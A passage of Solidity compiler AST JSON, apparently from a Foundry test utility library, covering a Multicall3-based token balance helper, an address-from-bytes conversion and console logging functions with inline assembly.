memory"}},"id":11809,"indexExpression":{"id":11808,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11789,"src":"8393:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"8383:12:11","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"id":11810,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"8382:14:11","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_1889567281_by_1","typeString":"int_const 1889567281"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":11804,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8347:3:11","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":11805,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8351:18:11","memberName":"encodeWithSelector","nodeType":"MemberAccess","src":"8347:22:11","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithselector_pure$_t_bytes4_$returns$_t_bytes_memory_ptr_$","typeString":"function (bytes4) pure returns (bytes memory)"}},"id":11811,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8347:50:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":11801,"name":"IMulticall3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32316,"src":"8304:11:11","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IMulticall3_$32316_$","typeString":"type(contract IMulticall3)"}},"id":11802,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8316:4:11","memberName":"Call","nodeType":"MemberAccess","referencedDeclaration":32161,"src":"8304:16:11","typeDescriptions":{"typeIdentifier":"t_type$_t_struct$_Call_$32161_storage_ptr_$","typeString":"type(struct IMulticall3.Call storage pointer)"}},"id":11812,"isConstant":false,"isLValue":false,"isPure":false,"kind":"structConstructorCall","lValueRequested":false,"nameLocations":["8322:6:11","8337:8:11"],"names":["target","callData"],"nodeType":"FunctionCall","src":"8304:95:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_Call_$32161_memory_ptr","typeString":"struct IMulticall3.Call memory"}},"src":"8293:106:11","typeDescriptions":{"typeIdentifier":"t_struct$_Call_$32161_memory_ptr","typeString":"struct IMulticall3.Call memory"}},"id":11814,"nodeType":"ExpressionStatement","src":"8293:106:11"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11794,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11792,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11789,"src":"8204:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":11793,"name":"length","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11771,"src":"8208:6:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8204:10:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":11816,"initializationExpression":{"assignments":[11789],"declarations":[{"constant":false,"id":11789,"mutability":"mutable","name":"i","nameLocation":"8197:1:11","nodeType":"VariableDeclaration","scope":11816,"src":"8189:9:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11788,"name":"uint256","nodeType":"ElementaryTypeName","src":"8189:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11791,"initialValue":{"hexValue":"30","id":11790,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8201:1:11","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"8189:13:11"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":11796,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":true,"src":"8216:3:11","subExpression":{"id":11795,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11789,"src":"8218:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":11797,"nodeType":"ExpressionStatement","src":"8216:3:11"},"nodeType":"ForStatement","src":"8184:226:11"},{"assignments":[null,11821],"declarations":[null,{"constant":false,"id":11821,"mutability":"mutable","name":"returnData","nameLocation":"8474:10:11","nodeType":"VariableDeclaration","scope":11861,"src":"8459:25:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":11819,"name":"bytes","nodeType":"ElementaryTypeName","src":"8459:5:11","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":11820,"nodeType":"ArrayTypeName","src":"8459:7:11","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"id":11826,"initialValue":{"arguments":[{"id":11824,"name":"calls","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11780,"src":"8508:5:11","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Call_$32161_memory_ptr_$dyn_memory_ptr","typeString":"struct IMulticall3.Call memory[] memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_array$_t_struct$_Call_$32161_memory_ptr_$dyn_memory_ptr","typeString":"struct IMulticall3.Call memory[] memory"}],"expression":{"id":11822,"name":"multicall","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11206,"src":"8488:9:11","typeDescriptions":{"typeIdentifier":"t_contract$_IMulticall3_$32316","typeString":"contract IMulticall3"}},"id":11823,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"8498:9:11","memberName":"aggregate","nodeType":"MemberAccess","referencedDeclaration":32194,"src":"8488:19:11","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_array$_t_struct$_Call_$32161_memory_ptr_$dyn_memory_ptr_$returns$_t_uint256_$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$","typeString":"function (struct IMulticall3.Call memory[] memory) payable external returns (uint256,bytes memory[] memory)"}},"id":11825,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8488:26:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_uint256_$_t_array$_t_bytes_memory_ptr_$dyn_memory_ptr_$","typeString":"tuple(uint256,bytes memory[] memory)"}},"nodeType":"VariableDeclarationStatement","src":"8456:58:11"},{"expression":{"id":11833,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":11827,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11757,"src":"8588:8:11","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":11831,"name":"length","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11771,"src":"8613:6:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11830,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"8599:13:11","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_array$_t_uint256_$dyn_memory_ptr_$","typeString":"function (uint256) pure returns (uint256[] memory)"},"typeName":{"baseType":{"id":11828,"name":"uint256","nodeType":"ElementaryTypeName","src":"8603:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":11829,"nodeType":"ArrayTypeName","src":"8603:9:11","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}}},"id":11832,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8599:21:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}},"src":"8588:32:11","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}},"id":11834,"nodeType":"ExpressionStatement","src":"8588:32:11"},{"body":{"id":11859,"nodeType":"Block","src":"8667:75:11","statements":[{"expression":{"id":11857,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"baseExpression":{"id":11845,"name":"balances","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11757,"src":"8681:8:11","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[] memory"}},"id":11847,"indexExpression":{"id":11846,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11836,"src":"8690:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"IndexAccess","src":"8681:11:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"baseExpression":{"id":11850,"name":"returnData","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11821,"src":"8706:10:11","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes memory[] memory"}},"id":11852,"indexExpression":{"id":11851,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11836,"src":"8717:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"8706:13:11","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":11854,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"8722:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":11853,"name":"uint256","nodeType":"ElementaryTypeName","src":"8722:7:11","typeDescriptions":{}}}],"id":11855,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"8721:9:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":11848,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"8695:3:11","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":11849,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"8699:6:11","memberName":"decode","nodeType":"MemberAccess","src":"8695:10:11","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":11856,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"8695:36:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8681:50:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":11858,"nodeType":"ExpressionStatement","src":"8681:50:11"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11841,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11839,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11836,"src":"8650:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"id":11840,"name":"length","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11771,"src":"8654:6:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"8650:10:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":11860,"initializationExpression":{"assignments":[11836],"declarations":[{"constant":false,"id":11836,"mutability":"mutable","name":"i","nameLocation":"8643:1:11","nodeType":"VariableDeclaration","scope":11860,"src":"8635:9:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11835,"name":"uint256","nodeType":"ElementaryTypeName","src":"8635:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11838,"initialValue":{"hexValue":"30","id":11837,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"8647:1:11","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"8635:13:11"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":11843,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":true,"src":"8662:3:11","subExpression":{"id":11842,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11836,"src":"8664:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":11844,"nodeType":"ExpressionStatement","src":"8662:3:11"},"nodeType":"ForStatement","src":"8630:112:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"getTokenBalances","nameLocation":"7633:16:11","parameters":{"id":11754,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11750,"mutability":"mutable","name":"token","nameLocation":"7658:5:11","nodeType":"VariableDeclaration","scope":11862,"src":"7650:13:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":11749,"name":"address","nodeType":"ElementaryTypeName","src":"7650:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":11753,"mutability":"mutable","name":"addresses","nameLocation":"7682:9:11","nodeType":"VariableDeclaration","scope":11862,"src":"7665:26:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":11751,"name":"address","nodeType":"ElementaryTypeName","src":"7665:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":11752,"nodeType":"ArrayTypeName","src":"7665:9:11","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"7649:43:11"},"returnParameters":{"id":11758,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11757,"mutability":"mutable","name":"balances","nameLocation":"7760:8:11","nodeType":"VariableDeclaration","scope":11862,"src":"7743:25:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_memory_ptr","typeString":"uint256[]"},"typeName":{"baseType":{"id":11755,"name":"uint256","nodeType":"ElementaryTypeName","src":"7743:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":11756,"nodeType":"ArrayTypeName","src":"7743:9:11","typeDescriptions":{"typeIdentifier":"t_array$_t_uint256_$dyn_storage_ptr","typeString":"uint256[]"}},"visibility":"internal"}],"src":"7742:27:11"},"scope":11975,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":11881,"nodeType":"FunctionDefinition","src":"8968:144:11","nodes":[],"body":{"id":11880,"nodeType":"Block","src":"9051:61:11","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"arguments":[{"id":11875,"name":"bytesValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11864,"src":"9092:10:11","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":11874,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9084:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":11873,"name":"uint256","nodeType":"ElementaryTypeName","src":"9084:7:11","typeDescriptions":{}}},"id":11876,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9084:19:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11872,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9076:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":11871,"name":"uint160","nodeType":"ElementaryTypeName","src":"9076:7:11","typeDescriptions":{}}},"id":11877,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9076:28:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":11870,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9068:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":11869,"name":"address","nodeType":"ElementaryTypeName","src":"9068:7:11","typeDescriptions":{}}},"id":11878,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9068:37:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":11868,"id":11879,"nodeType":"Return","src":"9061:44:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"addressFromLast20Bytes","nameLocation":"8977:22:11","parameters":{"id":11865,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11864,"mutability":"mutable","name":"bytesValue","nameLocation":"9008:10:11","nodeType":"VariableDeclaration","scope":11881,"src":"9000:18:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":11863,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9000:7:11","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"8999:20:11"},"returnParameters":{"id":11868,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11867,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11881,"src":"9042:7:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":11866,"name":"address","nodeType":"ElementaryTypeName","src":"9042:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"9041:9:11"},"scope":11975,"stateMutability":"pure","virtual":false,"visibility":"private"},{"id":11898,"nodeType":"FunctionDefinition","src":"9407:235:11","nodes":[],"body":{"id":11897,"nodeType":"Block","src":"9580:62:11","nodes":[],"statements":[{"AST":{"nativeSrc":"9599:37:11","nodeType":"YulBlock","src":"9599:37:11","statements":[{"nativeSrc":"9613:13:11","nodeType":"YulAssignment","src":"9613:13:11","value":{"name":"fnIn","nativeSrc":"9622:4:11","nodeType":"YulIdentifier","src":"9622:4:11"},"variableNames":[{"name":"fnOut","nativeSrc":"9613:5:11","nodeType":"YulIdentifier","src":"9613:5:11"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":11887,"isOffset":false,"isSlot":false,"src":"9622:4:11","valueSize":1},{"declaration":11894,"isOffset":false,"isSlot":false,"src":"9613:5:11","valueSize":1}],"id":11896,"nodeType":"InlineAssembly","src":"9590:46:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_castLogPayloadViewToPure","nameLocation":"9416:25:11","parameters":{"id":11888,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11887,"mutability":"mutable","name":"fnIn","nameLocation":"9479:4:11","nodeType":"VariableDeclaration","scope":11898,"src":"9442:41:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes) view"},"typeName":{"id":11886,"nodeType":"FunctionTypeName","parameterTypes":{"id":11884,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11883,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11886,"src":"9451:12:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":11882,"name":"bytes","nodeType":"ElementaryTypeName","src":"9451:5:11","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"9450:14:11"},"returnParameterTypes":{"id":11885,"nodeType":"ParameterList","parameters":[],"src":"9479:0:11"},"src":"9442:41:11","stateMutability":"view","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes) view"},"visibility":"internal"},"visibility":"internal"}],"src":"9441:43:11"},"returnParameters":{"id":11895,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11894,"mutability":"mutable","name":"fnOut","nameLocation":"9569:5:11","nodeType":"VariableDeclaration","scope":11898,"src":"9532:42:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes) pure"},"typeName":{"id":11893,"nodeType":"FunctionTypeName","parameterTypes":{"id":11891,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11890,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":11893,"src":"9541:12:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":11889,"name":"bytes","nodeType":"ElementaryTypeName","src":"9541:5:11","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"9540:14:11"},"returnParameterTypes":{"id":11892,"nodeType":"ParameterList","parameters":[],"src":"9569:0:11"},"src":"9532:42:11","stateMutability":"pure","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes) pure"},"visibility":"internal"},"visibility":"internal"}],"src":"9531:44:11"},"scope":11975,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":11910,"nodeType":"FunctionDefinition","src":"9648:133:11","nodes":[],"body":{"id":11909,"nodeType":"Block","src":"9709:72:11","nodes":[],"statements":[{"expression":{"arguments":[{"id":11906,"name":"payload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11900,"src":"9766:7:11","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"arguments":[{"id":11904,"name":"_sendLogPayloadView","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11926,"src":"9745:19:11","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}],"id":11903,"name":"_castLogPayloadViewToPure","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11898,"src":"9719:25:11","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_function_internal_view$_t_bytes_memory_ptr_$returns$__$_$returns$_t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$_$","typeString":"function (function (bytes memory) view) pure returns (function (bytes memory) pure)"}},"id":11905,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9719:46:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":11907,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9719:55:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11908,"nodeType":"ExpressionStatement","src":"9719:55:11"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_sendLogPayload","nameLocation":"9657:15:11","parameters":{"id":11901,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11900,"mutability":"mutable","name":"payload","nameLocation":"9686:7:11","nodeType":"VariableDeclaration","scope":11910,"src":"9673:20:11","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":11899,"name":"bytes","nodeType":"ElementaryTypeName","src":"9673:5:11","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"9672:22:11"},"returnParameters":{"id":11902,"nodeType":"ParameterList","parameters":[],"src":"9709:0:11"},"scope":11975,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":11926,"nodeType":"FunctionDefinition","src":"9787:381:11","nodes":[],"body":{"id":11925,"nodeType":"Block","src":"9851:317:11","nodes":[],"statements":[{"assignments":[11916],"declarations":[{"constant":false,"id":11916,"mutability":"mutable","name":"payloadLength","nameLocation":"9869:13:11","nodeType":"VariableDeclaration","scope":11925,"src":"9861:21:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11915,"name":"uint256","nodeType":"ElementaryTypeName","src":"9861:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11919,"initialValue":{"expression":{"id":11917,"name":"payload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11912,"src":"9885:7:11","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":11918,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9893:6:11","memberName":"length","nodeType":"MemberAccess","src":"9885:14:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"9861:38:11"},{"assignments":[11921],"declarations":[{"constant":false,"id":11921,"mutability":"mutable","name":"consoleAddress","nameLocation":"9917:14:11","nodeType":"VariableDeclaration","scope":11925,"src":"9909:22:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":11920,"name":"address","nodeType":"ElementaryTypeName","src":"9909:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":11923,"initialValue":{"id":11922,"name":"CONSOLE2_ADDRESS","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11226,"src":"9934:16:11","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"9909:41:11"},{"AST":{"nativeSrc":"10012:150:11","nodeType":"YulBlock","src":"10012:150:11","statements":[{"nativeSrc":"10026:36:11","nodeType":"YulVariableDeclaration","src":"10026:36:11","value":{"arguments":[{"name":"payload","nativeSrc":"10050:7:11","nodeType":"YulIdentifier","src":"10050:7:11"},{"kind":"number","nativeSrc":"10059:2:11","nodeType":"YulLiteral","src":"10059:2:11","type":"","value":"32"}],"functionName":{"name":"add","nativeSrc":"10046:3:11","nodeType":"YulIdentifier","src":"10046:3:11"},"nativeSrc":"10046:16:11","nodeType":"YulFunctionCall","src":"10046:16:11"},"variables":[{"name":"payloadStart","nativeSrc":"10030:12:11","nodeType":"YulTypedName","src":"10030:12:11","type":""}]},{"nativeSrc":"10075:77:11","nodeType":"YulVariableDeclaration","src":"10075:77:11","value":{"arguments":[{"arguments":[],"functionName":{"name":"gas","nativeSrc":"100